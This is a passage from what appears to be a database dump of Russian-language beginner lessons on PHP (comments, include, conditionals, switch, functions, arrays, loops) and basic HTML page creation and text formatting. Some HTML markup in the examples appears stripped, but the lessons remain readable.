однострочный комментарий. То есть
комментарий, который говорит
интерпретатору игнорировать все, что
происходит на этой линии справа от
комментариев. Для использования этого
комментария следует применять символы
«//» или «#» и весь текст справа будет
игнорироваться интерпретатором PHP.\r\n\r\n
echo "Hello World!"; // This will print out Hello
World!\r\n echo "\r\nPsst...You can\'t see my PHP
comments!"; // echo "nothing";\r\n // echo
"My name is Humperdinkle!";\r\n # echo "I don\'t
do anything either";\r\n ?>\r\n Результат:\r\n\r\n
Hello World!\r\n Psst...You can\'t see my PHP comments!\r\n
Обратите внимание на то, что несколько
наших команд echo не были обработаны,
потому что мы закомментировали их с
помощью специальных символов
комментирования. Этот тип комментариев
часто используется для быстрой записи о
сложном и запутанном коде или чтобы
временно удалить строку кода PHP (для
отладки).\r\n\r\n Синтаксис php комментариев:
многострочный комментарий\r\n Как и HTML —
комментарии, многострочные комментарии
в PHP могут быть использованы для
комментирования больших блоков кода или
для записи комментов в несколько строк.
Многострочные комментарии в PHP
начинается с «/*» и заканчиваются «*/».
Все, что находится между этими символами,
будет игнорироваться.\r\n\r\n /* This Echo statement
will print out my message to the\r\n the place in which I reside on. In
other words, the World. */\r\n echo "Hello World!"; \r\n
/* echo "My name is Humperdinkle!";\r\n echo "No
way! My name is Uber PHP Programmer!";\r\n */\r\n ?>\r\n
Результат:\r\n\r\n Hello
World!','','files_4859_2896_'),(11,3,'Урок 7. Include','Если не
вдаваться в подробности PHP, то кратко,
команда include принимает имя файла и просто
вставляет его содержимое в сценарий,
который этот include вызвал.\r\n\r\n Почему это
круто? Ну, в первую очередь, это означает,
что вы можете напечатать общий заголовок
или меню, которые должны быть на каждой
вашей странице, а потом просто
подключить их с помощью include. Затем, когда
вы добавляете новую страницу на сайт, то
вместо того, чтобы обновлять ссылки на
нескольких страницах, вы можете просто
изменить файл, который содержит
меню.\r\n\r\n Пример использования команды
include\r\n Скажем, мы хотим создать общий
файл меню, чтобы все наши страницы его
использовали. Так как мы хотим создать
общий файл меню, то давайте сохраним его
как «menu.php». Вот как он будет
выглядеть:\r\n\r\n\r\n\r\nГлавнаяhttp://www.example.com/index.php">Главная>
-
\r\nО">http://www.example.com/about.php">О
нас -
\r\nСсылкиhttp://www.example.com/links.php">Ссылки>
-
\r\nКонтактыhttp://www.example.com/contact.php">Контакты>
\r\n\r\n Сохранить файл как «menu.php». Теперь
создайте новый файл «index.php» в том же
каталоге, что и «menu.php». Здесь мы
воспользуемся этой командой include чтобы
добавить наше общее меню.\r\n\r\n\r\n\r\nThis is my
home page that uses a common menu to save me time when I add\r\n new pages
to my website!\r\n\r\n\r\n\r\n Затем, запустив файл
index.php мы получим полноценную страничку с
подгруженным меню.\r\n Можно сделать то же
самое для «about.php», «links.php» и «contact.php».
Подумайте только, как ужасно было бы,
если у вас хотя бы 15 страниц с общим меню,
и вы решили добавить еще одну запись в
это меню. Вы должны были бы пойти и
вручную редактировать каждый файл, чтобы
добавить эту новую запись, но при
использовании include, вы просто должны
изменить «menu.php» и все ваши проблемы
будут решены. Это ли не чудо? \r\n\r\n Как все
это видят посетители?\r\n Если мы
использовали команду include для вставки
меню на каждую из наших веб-страниц, что
будет видеть посетитель в исходном коде
«index.php»? Да ничего, обычный html текст, т.к.
инклуд работает просто как копипаст.\r\n\r\n
Поведение include\r\n Он вставляет содержимое
одного файла в другой и все. Очень
удобная вещь! Include весьма полезен, если вы
хотите включить тот же PHP или HTML текст или
сегмент сразу в несколько страниц сайта.
Команда инклуд широко используется
разработчиками PHP, так же как и
Echo.','','files_4010_3973_'),(12,3,'Урок 8. Условный
оператор','Условный оператор в PHP очень
похож на условия в других языках
программирования. Но для тех, кто не
знаком с ним, картина следующая.\r\n\r\n
Подумайте о том решении, которое вы
принимаете перед тем, как идти спать.
Если у вас есть чем заняться на следующий
день, скажем, пойти на работу, в школу или
университет, то вам нужно завести
будильник, чтобы рано проснуться. В
противном случае, вы будете спать
столько, сколько хотите!\r\n\r\n Этот
простой вид условия «если, то», который
является очень распространенным
явлением в повседневной жизни, а также
довольно часто появляется в
программировании. Всякий раз, когда вы
хотите, чтобы решение принималось с
учетом каких-то условий (например, вы
должны что-то сделать завтра) вы
используете условный оператор.\r\n\r\n PHP
оператор If\r\n Представьте себе, что 1
января вы хотите вывести сообщение «С
Новым годом!» в верхней части вашей
страницы. С помощью PHP и условного
оператора вы могли бы этот процесс
автоматизировать за несколько месяцев
до 1 января.\r\n Такую динамичность
невозможно осуществить на простом
HTML.\r\n\r\n PHP If Пример\r\n Давайте начнем с
основ и рассмотрим простой пример, где мы
присвоим переменной значение, а затем, с
помощью условия в php мы сравним его с
другим значением и выведем
результат.\r\n\r\n $my_name =
"Вася";\r\n\r\n if ( $my_name ==
"Вася" ) {\r\n echo "Привет,
Вася!\r\n";\r\n }\r\n echo "Добро
пожаловать на мою страницу!";\r\n В
результате мы увидим две строки:\r\n\r\n
Привет, Вася!\r\n Добро пожаловать на мою
страницу!\r\n Как вы видите, мы сравнивали
переменную $my_name со значением «Вася»,
чтобы увидеть равны ли они. В PHP вы
используете двойной знак равенства (==)
для сравнения значений. Кроме того,
обратите внимание, так как условие
оказалось истиной, то кода был выполнен,
напечатав «Привет, Вася!». Давайте
немного более глубоко разберемся в этом
примере.\r\n\r\n Сначала мы присваиваем
переменной $my_name значение «Вася».\r\n Затем
мы использовали оператор IF для проверки
значения, содержащегося в переменной
$my_name. Равно ли оно значению «Вася»?\r\n
Сравнение между $my_name и «Вася» было
сделано с помощью двойного знака
равенства «==», ни одного равно «=»! Одно
равно используется для присвоения
значения переменной, в то время как
двойное равно для проверки.\r\n $my_name
действительно равна «Вася», так что echo
выполняется.\r\n If…else\r\n С простым
условием разобрались. Но иногда
возникает необходимость выполнить
условие, если оно истинно и выполнить
другое действие, если ложно! Например,
если я завтра иду в университет, то мне
нужно встать в 7 часов, иначе я пойду
играть в футбол с друзьями с 9 часов.
Здесь нам на помощь придет все тот же
условный оператор, но с небольшим
дополнением.\r\n\r\n $go_to_universe = 1;\r\n\r\n if (
$go_to_universe == 1 ) {\r\n echo "Иду в универ,
будильник на 7 часов";\r\n } else {\r\n echo
"Не иду в универ, будильник на 9
часов";\r\n }\r\n В данном случае, если
переменная $go_to_universe принимает значение 1,
то мы идем в универ и заводим будильник
на 7 утра, иначе (else) не идем в универ и
заводим на 9. Все достаточно просто.\r\n
Запомните, сначала пишем оператор if,
затем в круглых скобках условие, в
фигурных скобках действие, если условие
истинно, затем слово else и снова в
фигурных скобках действие, но уже
которое будет выполняться, если усновие
ложно.\r\n\r\n if ( условие ) {\r\n действие при
истинном условии;\r\n } else {\r\n действие при
ложном условии;\r\n }','','files_2166_4095_'),(13,3,'Урок
9. Switch','PHP оператор Switch: Быстрая
проверка\r\n С помощью оператора Switch вы
можете проверить наличие всех этих
условий одновременно, и самое
замечательное в том, что на самом деле
более эффективно в плане
программирования. Истинно
беспроигрышная ситуация!\r\n\r\n То, как
работает переключатель, знает каждый: он
берет одну переменную в качестве входных
данных, а затем проверяет ее на
выполнение того или иного условия,
которые вы зададите. Вместо того, чтобы
проверять значения переменной по одному,
прогоняя ее через множество условий,
свитч позволяет проверить все за один
раз.\r\n\r\n PHP оператор Switch: Пример\r\n
Приведем простой пример использования
свитча. В нашем случае в зависимости от
пункта назначения, который хранится в
переменной, мы будем давать рекомендации
что лучше взять с собой в дорогу.\r\n\r\n
$destination = "Tokyo";\r\n echo
"Отправляемся в $destination\r\n";\r\n
switch ($destination){\r\n case "Las Vegas":\r\n echo
"Берем с собой $5000! Вегас
детка!";\r\n break;\r\n case
"Amsterdam":\r\n echo "Парочка
газет, фольга...";\r\n break; \r\n case
"Egypt":\r\n echo "50 бутылок
солнцезащитного крема.";\r\n break; \r\n case
"Tokyo":\r\n echo "Берем деньги на
сувениры.";\r\n break;\r\n case "Caribbean
Islands":\r\n echo "Захватите трусы для
плавания!";\r\n break; \r\n }\r\n Результат:\r\n
Отправляемся в Tokyo\r\n Берем деньги на
сувениры.\r\n\r\n Значение переменной
$destination было Токио, поэтому, когда PHP
выполнял оператор свитч, то на $destination он
сразу сделал поиск для случая со
значением «Токио». Он нашел его и
продолжил выполнять код, который был
прописан в этом сегменте.\r\n\r\n Вы могли
заметить, что каждый случай содержит break.
Этот break как раз и позволяет во всех
остальных случаях ничего не выполнять.
Если бы в приведенном выше примере не
было брейка, то код бы выполнялся не
только в случае значения Токио!
Используйте эти знания и никогда не
нагромождайте десятки условий там, где
можно обойтись одним свитчем!\r\n\r\n Форма
Switch достаточно уникальна, поэтому
потратьте некоторое время на ее
рассмотрение, прежде чем двигаться
дальше. Примечание: начинающие
программисты пренебрегают этой
конструкцией, что неправильно и
затрудняет чтение кода, а так же
негативно сказывается на
производительности!\r\n\r\n PHP оператор Switch:
действие по умолчанию\r\n Возможно, вы
заметили отсутствие обработки для
случая, когда ни одно из условий не
подходит нашей переменной. Если такое
случится и свитч не найдет ни одного
условия, удовлетворяющего значению
переменной, то будет выполнено действие
по умолчанию.\r\n\r\n Рекомендую всегда
использовать такую возможность и
добавлять действие по умолчанию, даже
если вы уверены, что переменная не примет
значения, которого нет в свитче. Ниже
приведен вариант нашего примера, в
котором добавлена обработка действия по
умолчанию.\r\n\r\n $destination = "New
York";\r\n echo "Отправляемся в
$destination\r\n";\r\n switch ($destination){\r\n case
"Las Vegas":\r\n echo "Берем с собой
$5000! Вегас детка!";\r\n break;\r\n case
"Amsterdam":\r\n echo "Парочка
газет, фольга...";\r\n break; \r\n case
"Egypt":\r\n echo "50 бутылок
солнцезащитного крема.";\r\n break; \r\n case
"Tokyo":\r\n echo "Берем деньги на
сувениры.";\r\n break;\r\n case "Caribbean
Islands":\r\n echo "Захватите трусы для
плавания!";\r\n break; \r\n default:\r\n echo
"Бельишко чистое не
забудьте!";\r\n break;\r\n }\r\n Результат:\r\n
Отправляемся в New
York','','files_1345_5496_'),(14,3,'Урок 10.
Функции','Создаем свою первую php
функцию\r\n Когда вы создаете функцию,
нужно сначала дать ей имя, например,
myCompanyName. Лучше всего называть функции
понятными названиями, которые будут
иметь смысл, чтобы не запутаться. Это же
касается и переменных.\r\n\r\n Синтаксис для
создания функции довольно очевидный и
логичный. Во-первых, вы должны сказать PHP,
что вы хотите создать функцию. Это можно
сделать, введя ключевое слово function и ваше
имя функции и некоторые другие вещи (о
которых мы поговорим чуть позже).\r\n\r\n Вот
как выглядит объявление функции
myCompanyName:\r\n\r\n function myCompanyName(){\r\n }\r\n ?>\r\n
Примечание: Название функции может
начинаться со знака «_», но не с цифры!\r\n
Это лишь каркас нашей функции, а внутри
него мы можем поместить любой код,
который захотим. При вызове функции он
будет выполняться. Видите в фигурных
скобках в приведенном выше примере «{}»?
Эти скобки определяют, где должен быть
наш код функции. Открывающая фигурная
скобка «{» говорит PHP, что код функции
начинается, а закрывающая фигурная «}»
говорит PHP, что наша функция
окончена!\r\n\r\n Давайте добавим в нее
что-то простенькое, например echo.\r\n\r\n function
myCompanyName(){\r\n echo "Вы находитесь на
блоге myblaze.ru \r\n";\r\n }\r\n ?>\r\n Вот и
все, довольно просто, правда? Теперь
научимся вызывать нашу функцию.\r\n\r\n
Вызов готовой функции php\r\n Теперь, когда
вы закончили кодирование простейшей
функции, пришло время ее испытать. Ниже
приведен простой скрипт. Давайте сделаем
вот что: объявим свою функцию и
используем ее.\r\n\r\n function myCompanyName(){\r\n echo
"Вы находитесь на блоге myblaze.ru
\r\n";\r\n }\r\n echo "Привет всем!
\r\n";\r\n myCompanyName();\r\n echo "Рад вас
видеть! \r\n";\r\n Хотя это был простой
пример, важно понимать, что любая
невнимательность может привести к
ошибке. Когда вы создаете функцию,
следуйте этим простым
рекомендациям.\r\n\r\n Всегда начинайте
ваши функции с ключевым словом function.\r\n
Помните, что ваш код функции должны быть
между «{» и «}».\r\n Когда вы вызываете
функцию, убедитесь, что пишете ее имя
правильно.\r\n Функции с параметрами\r\n Еще
одна полезная возможность состоит в том,
что функции вы можете вызывать с
параметрами, то есть передавать внутрь
ее кода дополнительную информацию. Наша
первая функция myCompanyName не очень-то и
полезна, потому что все что она умеет, это
печатать одну и ту же строку.\r\n\r\n Однако,
если бы мы использовали параметры, то мы
могли бы добавить некоторые
дополнительные фишки в нашу функцию!
Параметр появляется скобках «()» и
выглядит как обычная переменная PHP.
Давайте создадим новую функцию, которая
создает пользовательское приветствие
основанное на имени человека, которое мы
передадим в качестве параметра.\r\n\r\n function
sayHello($Name){\r\n echo "Hello there ". $Name .
"!\r\n";\r\n }\r\n ?>\r\n Теперь когда
мы будем вызывать функцию sayHello, то в
скобках обязательно должны указывать
параметр (имя), так как функция объявлена
с параметром и игнорировать его
нельзя.\r\n Если мы хотим указывать
несколько параметров, то просто
перечисляем их при объявлении функции
через запятую и все, ничего больше не
требуется.\r\n\r\n Возвращение значения
функцией php\r\n Помимо того, что вы имеете
возможность передать функции
информацию, она так же может и сама
вернуть значение. Но помните, функция
может возвращать только одно значение,
хотя это может быть что угодно: целое
число, вещественное, булевое значение,
как вы пожелаете!\r\n\r\n Как она возвращает
значение? Лучше всего разобраться на
примере. Объявим функцию с параметрами, а
затем присвоим результат некоторой
переменной, вот так:\r\n\r\n function mySum($numX,
$numY){\r\n $total = $numX + $numY;\r\n return $total; \r\n }\r\n $myNumber
= 0;\r\n echo "Перед использованием
функции, myNumber = ".
$myNumber\r\n."\r\n";\r\n $myNumber = mySum(3, 4); //
Сохраняем результат вызова функции mySum в
переменную $myNumber\r\n echo "После вызова
функции, myNumber = " . $myNumber
."\r\n";\r\n ?>\r\n Чтобы присвоить
функции значение — в нее добавляется
оператор return, видите его? Результат
сложения двух чисел хранится в
переменной $total, а с помощью return $total это
значение передается самой функции. Затем
мы просто присваиваем его переменной
$myNumber после вызова функции mySum с двумя
параметрами 3 и 4 (это числа которые
следует сложить).','','files_2999_2361_'),(15,3,'Урок 11.
Массивы','PHP — массив с числовыми
индексами\r\n Если это ваш первый опыт
работы с массивами, то вы, возможно, не
вполне понимаете их концепцию.
Представьте, что вы являетесь владельцем
бизнеса и хотите сохранить имена всех
ваших сотрудников в переменной PHP. Как бы
вы это сделали?\r\n\r\n Нет смысла хранить
каждое имя в своей переменной. Вместо
этого, было бы неплохо хранить все имена
сотрудников внутри одной переменной. Вот
тут-то в дело и вступают массивы, и сейчас
мы с ними разберемся на примере.\r\n\r\n
$employee_array[0] = "Петя";\r\n $employee_array[1] =
"Вася";\r\n $employee_array[2] =
"Ваня";\r\n $employee_array[3] = "Федор
Петрович";\r\n В приведенном выше
примере мы использовали ключ / значение.
Ключи были числами, указанными в
квадратных скобках и значения — имена
сотрудников. Каждый ключ массива
представляет собой значение, что-то
наподобие ссылки. В общем виде для
присвоения элементу массива значения
требуется запись вида:\r\n\r\n $array[ключ] =
значение;\r\n Примечание: Как вы могли
заметить из приведенного выше примера
кода, ключи массива начинаются с 0, а не 1.
Это очень распространенная проблема для
многих начинающих программистов,
которые привыкли считать от 1.\r\n\r\n Если
мы хотим, получить сохраненное значение,
то нам понадобится сделать
следующее:\r\n\r\n echo "Два моих
работника: "\r\n . $employee_array[0] . " и
" . $employee_array[1]; \r\n echo "\r\nИ еще два
работника: " \r\n . $employee_array[2] . " и
" . $employee_array[3];\r\n Результат:\r\n Два
моих работника: Петя и Вася\r\n И еще два
работника: Ваня и Федор Петрович\r\n\r\n PHP
массивы очень полезны при использовании
в сочетании с циклами, которые мы
рассмотрим чуть позже. Выше мы показали
пример массива, который использовал
целые числа в качестве ключей (численно
индексированный массив). Однако, вы также
можете указать строку в качестве ключа,
тогда это будет уже ассоциативный
массив.\r\n\r\n PHP — ассоциативные массивы\r\n
В ассоциативном массиве ключ связан со
значением. Если вы хотите сохранить
заработную плату своих сотрудников в
массив, то числовой индекс будет не
лучшим выбором, так как в них можно
запутаться. Вместо этого мы могли бы
использовать имена сотрудников в
качестве ключей в нашем ассоциативном
массиве, а значением будет их
зарплата.\r\n\r\n $salaries["Петя"] =
2000;\r\n $salaries["Вася"] = 4000;\r\n
$salaries["Ваня"] = 600;\r\n
$salaries["Даша"] = 0;\r\n\r\n echo
"Петя получает - $" .
$salaries["Петя"] . "\r\n";\r\n
echo "Вася получает - $" .
$salaries["Вася"] . "\r\n";\r\n
echo "А Ваня получает всего - $" .
$salaries["Ваня"] . "\r\n";\r\n
echo "Даша в этом месяце не работала,
поэтому - $" .
$salaries["Даша"]','','files_1718_4946_'),(16,3,'Урок
12. Цикл While','Простой пример цикла While\r\n
Суть вайла проста. Он будет выполнять
заданный набор команд снова и снова, пока
выполняется прописанное условие. Так
называемый цикл с предусловием, то есть
сначала проверка, потом выполнение. Эта
логическая проверка работает так же, как
та, которую мы рассматривали в уроке про
IF…else в php.\r\n Простой пример while цикла
представлен ниже:\r\n\r\n while ( условие ){\r\n
//тело цикла;\r\n }\r\n Этот код показывает,
как построен цикл. Примерный алгоритм
выполнения выглядит следующим
образом:\r\n\r\n Шаг 1. Проверяется заданное
условие цикла. Если оно истинно, то
выполняется Шаг 2, если ложно, то Шаг 4.\r\n
Шаг 2. Выполнение тела цикла (заданных
команд).\r\n Шаг 3. Процесс начинается снова
(Шаг 1).\r\n Шаг 4. Если условное выражение
ложно, то код внутри цикла не
выполняется. Код, записанный после цикла
выполняется как обычно.\r\n Рабочий пример
While в php\r\n Например, выведем числа от 1 до
10:\r\n\r\n $i = 1;\r\n\r\n while ($i <= 10) {\r\n\r\n echo $i;\r\n
$i++;\r\n\r\n }\r\n Присваиваем переменной $i
значение 1, а затем формируем цикл с
условием ($i <= 10). Таким образом
команда echo $i выполнится 10 раз. Итератор
(переменную - счетчик) нужно изменять
самостоятельно, в отличие от цикла for, но
о нем мы поговорим позже. Для этого мы
выполняем команду $i++. Если этого не
сделать, то цикл никогда не прервется, то
есть код зациклится, чего не хотелось
бы','','files_2267_3927_'),(17,3,'Урок 13. Цикл For','Еще
один вид цикла с которым мы сегодня
познакомимся, это цикл for. Он, как и цикл
while нужен довольно часто. Например, при
работе с массивами. Но синтаксис его
немного отличается. Не пугайтесь, здесь
все так же просто, достаточно лишь понять
смысл.\r\n\r\n Для начала разберем
конструкцию на словах, чтобы было проще
работать с кодом:\r\n\r\n определяем
переменную-счетчик с некоторым
начальным значением и также задаем
конечное значение;\r\n проверяем,
укладывается ли переменная в заданные
рамки в текущий момент;\r\n если да, то
выполняем тело цикла;\r\n увеличение
переменной-счетчика в конце каждой
итерации цикла происходит
автоматически, в отличие от цикла while.\r\n
На самом деле все очень просто, задается
начальное и конечное значение
переменной, а затем описывается тело
цикла в котором эту переменную можно
использовать, после чего она сама
увеличится. Давайте разберем уже на
примере.\r\n\r\n Простой пример цикла For\r\n
Возьмем простой пример из урока с циклом
while, и посмотрим, как это может быть
реализовано в цикле for. Основная
структура цикла выглядит следующим
образом:\r\n\r\n for ( объявление переменной и
присвоение начального значения; условие
выполнения цикла; увеличение
счетчика){\r\n //тело цикла;\r\n }\r\n Обратите
внимание, что все манипуляции с
переменной-счетчиком происходят при
объявлении цикла. Каждое действие
происходит через точку с запятой:
инициализируем счетчик и присваиваем
начальное значение, записываем условие,
а затем операцию приращения счетчика.
Точка с запятой необходима, потому что
это отдельные выражения. Однако обратите
внимание, что точка с запятой не
требуется после последнего действия, то
есть приращения (сразу закрываем скобку
без точки с запятой).\r\n\r\n В качестве
примера выведем таблицу с переменной и
той же переменной, но умноженной на 5.\r\n\r\n
$mnojitel = 5; \r\n echo "";\r\n echo
"";\r\n echo "";\r\n for ( $counter =
3; $counter <= 11; $counter +=3) {\r\n echo
"";\r\n }\r\n echo "Переменная
counter counter * mnojitel\r\n";\r\n echo $counter;\r\n echo
" ";\r\n echo $mnojitel * $counter;\r\n echo
"\r\n\r\n";\r\n Вот что мы
получим:\r\n\r\n Переменная counter counter * mnojitel\r\n
3 15\r\n 6 30\r\n 9 45\r\n Теперь давайте разберем,
что же мы сделали при объявлении нашего
цикла. Перво-наперво определили
переменную $counter = 3 и сразу же присвоили
ей начальное значение 3. После этого,
через точку с запятой, задали условие,
при удовлетворении которого, цикл
выполняется: $counter <= 11, то есть если
переменная меньше или равна 11, то цикл
выполняется. Ну и, наконец, последний шаг
это шаг цикла - увеличение счетчика. В
нашем случае: $counter +=3 увеличение с каждым
шагом (итерацией) на
3.','','files_5141_4917_'),(18,3,'Урок 14. Цикл
Foreach','Представьте, что у вас есть
ассоциативный массив, который вы хотите
перебрать. PHP предоставляет простой
способ использовать каждый элемент
массива по очереди с помощью Foreach
конструкции.\r\n\r\n На простом языке это
будет звучать примерно так:\r\n «Для
каждого элемента в указанном массиве
выполнить этот код.»\r\n\r\n В то время как
цикл While будет продолжаться, пока
выполняется некоторое условие, цикл foreach
будет продолжаться, пока не пройдет
через каждый элемент массива.\r\n\r\n PHP Foreach:
Пример\r\n У нас есть ассоциативный
массив, в котором хранятся имена людей в
нашей компании, а также их возраст. Мы
хотим знать, сколько лет каждому
сотруднику, поэтому мы используем цикл
по каждому элементу, чтобы распечатать
имя каждого и возраст.\r\n\r\n $employeeAges;\r\n
$employeeAges["Lisa"] = "28";\r\n
$employeeAges["Jack"] = "16";\r\n
$employeeAges["Ryan"] = "35";\r\n
$employeeAges["Rachel"] = "46";\r\n
$employeeAges["Grace"] = "34";\r\n\r\n
foreach( $employeeAges as $key => $value){\r\n echo "Name:
$key, Age: $value \r\n";\r\n }\r\n Получаем
результат:\r\n\r\n Name: Lisa, Age: 28\r\n Name: Jack, Age: 16\r\n
Name: Ryan, Age: 35\r\n Name: Rachel, Age: 46\r\n Name: Grace, Age: 34\r\n
Что же, результат хороший и понятный, а
вот синтаксис конструкции foreach не очень
легкий и понятный. Давайте разберемся в
нем поподробнее.\r\n\r\n For each синтаксис:
$something as $key => $value\r\n Все это безумие
примерно переводится в: «Для каждого
элемента ассоциативного массива $employeeAges
я хочу обратиться к $key и значению в нем,
то есть к $value.\r\n\r\n Оператор «=>»
представляет связь между ключом и
значением. В нашем примере мы назвали их
как ключ — $key и значение — $value. Тем не
менее, было бы легче думать о них, как об
имени и возрасте. Ниже в нашем примере мы
так и сделаем, и обратите внимание, что
результат будет тот же, потому что мы
только изменили имена переменных,
которые относятся к ключам и
значениям.\r\n\r\n $employeeAges;\r\n
$employeeAges["Lisa"] = "28";\r\n
$employeeAges["Jack"] = "16";\r\n
$employeeAges["Ryan"] = "35";\r\n
$employeeAges["Rachel"] = "46";\r\n
$employeeAges["Grace"] = "34";\r\n\r\n
foreach( $employeeAges as $name => $age){\r\n echo "Name:
$name, Age: $age \r\n";\r\n }\r\n Ну и результат,
повторимся, тот же самый:\r\n\r\n Name: Lisa, Age:
28\r\n Name: Jack, Age: 16\r\n Name: Ryan, Age: 35\r\n Name: Rachel, Age:
46\r\n Name: Grace, Age: 34','','files_5506_2308_'),(19,3,'Урок 15.
Цикл Do while','Итак, новый цикл do выполняет
свой ​​блок кода, по крайней мере, один
раз. Это потому, что здесь условный
оператор находится после тела цикла!
Таким образом, простой цикл while называют
«циклом с предусловием», а цикл do while —
«циклом с постусловием».\r\n\r\n Пример
сравнения синтаксиса двух циклов\r\n
Простой пример, который иллюстрирует
разницу между этими двумя типами циклов
и работы их условных операторов.\r\n
Работа цикла while:\r\n\r\n $cookies = 0;\r\n while($cookies
> 1){\r\n echo "Мммм! Люблю печеньки!
*ом-ном-ном*";\r\n }\r\n В результате мы не
увидим ничего, так как переменная $cookies
равна нулю и условие $cookies > 1 не
сработает, следовательно цикл не
выполнится. Теперь давайте сделаем то же
самое, но с циклом do while:\r\n\r\n $cookies = 0;\r\n do
{\r\n echo "Мммм! Люблю печеньки!
*ом-ном-ном*";\r\n } while ($cookies > 1);\r\n В
результате:\r\n\r\n Мммм! Люблю печеньки!
*ом-ном-ном*\r\n Как видите, цикл сработал
один раз, а потом проверил условие,
которое не выполнилось и вышел из цикла.
Такие конструкции обязательно вам
когда-нибудь пригодятся! Лучше помнить о
них, чтобы не изобретать потом
велосипед.','','files_1367_2269_'),(21,2,'Урок 2:
Создаем свою первую страничку','ШАГ 1:\r\n
Создайте на своем компе папку с
названием вашего будущего сайта, ну к
примеру в данном случае актуально будет
назвать папку obuchenie_html . Внутри папки
создайте еще одну папку с названием www ,
авнутри нее еще одну для изображений с
названием img (позже вставим туда
картинки). Для наглядности я нарисовал
вам приблизительную структуру,
получившуюся в результате:\r\n Пока
поверьте мне на слово, дальше когда
начнете изучать Dreamweaver все поймете.\r\n ШАГ
2:\r\n Зайдите в созданную на предыдущем
шаге папку www исоздайте внутри нее
текстовый документ. Для этого зайдите в
нее, кликните правой кнопкой мыши в
выпадающем меню выберите Создать -
Текстовый документ. \r\n ШАГ 3:\r\n Теперь,
следуя предыдущему уроку напишите в
Блокноте текст простейшей странички:\r\n
Приведу пример:\r\n
"http://www.w3.org/TR/html4/loose.dtd">\r\n\r\n\r\n\r\n\r\n\r\n\r\n
Ура!!!! Я создал свою первую страницу на
html!!!\r\n\r\n\r\n Готово ! Вы создали свою
первую настоящую веб-страницу!\r\n ШАГ 4:\r\n
Теперь сохраните ваш документ как
"index.htm" (расширение
".htm" указывает, что это
HTML-документ. ".html" даст тот же
результат. Это не имеет значения) . Для
этого в меню Файл выберите Сохранить
Как:\r\n В пункте Тип файла
выберите"Все файлы".\r\n После
сохранения можете удалить текстовый
документ.\r\n ШАГ 5:\r\n Для того, чтобы
внести изменения в страничку, Вам нужно
открыть данный файл через обычный
блокнот. Либо же, можно менять прямо в
браузере, но только в браузере Opera.\r\n
Поэтому, если у Вас установлен именно он,
то Вы можете просто запустить свою
страничку, кликнуть правой кнопкой мыши,
в выпадающем меню выбрать "Исходный
Код" .Там можете менять все, что
угодно. А затем, просто нажать на кнопку
"Применить изменения" .\r\n Как
видите действительно в заголовке
документа написано"Это моя первая
страничка!" а комментарии
действительно неотобразились в
браузере!','','files_3122_4057_'),(22,2,'Урок 3:
Работаем с текстом','В предыдущем уроке
мы создали свою первую простейшую
страничку.\r\n В этом уроке мы подробнее
остановимся на свойствах текста,
научимся выделять абзацы, заголовки и
т.д.\r\n Возьмите и скопируете текст
данного урока от начала идо первой
картинки, и вставитеего в свою первую
страничку. Как вы заметили текст идет
слитно, без разделений на абзацы, также
ничего не выделено заголовком, короче
форматирование отсутствует! Т.е. чтобы
Браузер правильно отображал текст,
необходимо задать его форматирование.\r\n
Основными элементами форматирования
текста в htmlявляются:\r\n - P\r\n Используется
для разбивания текста на параграфы\r\n -
H1,H2,...H6\r\n Применяются для создания
заголовков 1,2...6 уровней\r\n - BR\r\n
Используетcя для переноса строки\r\n - DIV ,
SPAN\r\n Используются для выделения части
документа определенным способом.\r\n P -
используется для разметки параграфов в
html документах.\r\n Атрибуты:\r\n ALIGN -
определяет способ горизонтального
выравниванияпараграфа .\r\n Возможные
значения: left, center, right, justify . Это
соответственно по левому краю, по центру,
по правому краю, и по ширине .По умолчанию
имеет значение left .\r\n Приведу пример:\r\n
Если внутри тела документа написать
следующее:\r\n\r\n Этот параграф по центру
\r\n\r\n\r\n Этот по левому краю \r\n\r\n\r\n Этот
тоже по левому (т.к. по умолчанию) \r\n\r\n\r\n
Этот по правому краю \r\n\r\n\r\n В этом
параграфе текст будет выравниваться по
ширине (одновременно по левому и правому
краям документа). Не понимающие justify
браузеры будут выравнивать текст по
левому краю \r\n\r\n Примечание: следите
чтобы содержимое в кавычках было
написано без пробелов, т.е. \r\n\r\n а не \r\n\r\n
иначе не будет работать!\r\n H1,H2,...H6 -
Применяются для разбивания текста на
смысловые уровни - разделы и подразделы.
Существует шесть уровней заголовков,
различающихся по величине шрифта.\r\n
Атрибуты:\r\n ALIGN - определяет способ
горизонтального
выравниваниязаголовков.\r\n Возможные
значения: left, center, right . По умолчанию - left
.\r\n Приведу пример:\r\n Если внутри тела
документа написать следующее:\r\n\r\n
Большой заголовок \r\n\r\n Заголовок
поменьше \r\n\r\n Еще меньше \r\n\r\n Совсем
маленький \r\n\r\n Малюсенький заголовочек
\r\n\r\n Ну просто лилипутский заголовочек
\r\n\r\n Примечание: закрывающий тег
обязателен!\r\n BR - данный элемент
осуществляет перенос строки. Не имеет
закрывающего тега.\r\n Приведу пример:\r\n
Если внутри тела документа написать
следующее:\r\n Начинается первая строка
\r\n\r\n теперь идет вторая \r\n\r\n а вот уже и
третья\r\n\r\n А это параграф и внутри него
тоже можно использоватьтег \r\n переноса
строки.Его надо использовать всегда,
когда надо перенести строку:) \r\n\r\n Как вы
наверное заметили, при переносе строки
не начинается новый параграф! Перенос- он
и есть перенос!\r\n DIV - В современном
сайтостроении используется какудобный
контейнер для блоков html кода страницы,
которым легко динамически
манипулировать – перемещать,
регулировать отступы, скрыватьи т.п.
Обязателен закрывающийтег!\r\n
Атрибуты:\r\n ALIGN - определяет способ
горизонтального
выравниванияконтейнера.\r\n Возможные
значения: left, center, right, justify . Это
соответственно по левому краю, по центру,
по правому краю, и по ширине .По умолчанию
имеет значение left .\r\n Допустим нам нужно
выровнятьпервые две строчки текста из
предыдущего примера по правому краю, не
выделяя при этом их в абзац. Как это
сделать?\r\n\r\n Начинается первая строка \r\n
теперь идет вторая \r\n\r\n\r\n а вот уже и
третья\r\n\r\n\r\n А это параграф и внутри
него тоже можно использовать тег \r\n
переноса строки.Его надо использовать
всегда, когда надо перенести строку:)
\r\n\r\n Т.е. мы взяли две строчки кода,
заключили их в контейнер DIV ивыравняли
его по правому краю! Так же само, можно
заключить в контейнер и 20 и 50 и более
строчек и манипулировать ими.\r\n
Примечание: Находящиеся между начальным
и конечным тегами текст или
HTML-элементывыделяются как Например:\r\n
Пока что вы читаете текст на первой
строке \r\n Но теперь уже на второй \r\n А
теперь уже на третей\r\n Результат:\r\n Как
видите текст содержащийся в элементе DIV
выделился в отдельную строку!\r\n SPAN -
Используется для выделения части
информации ипридания ей различных
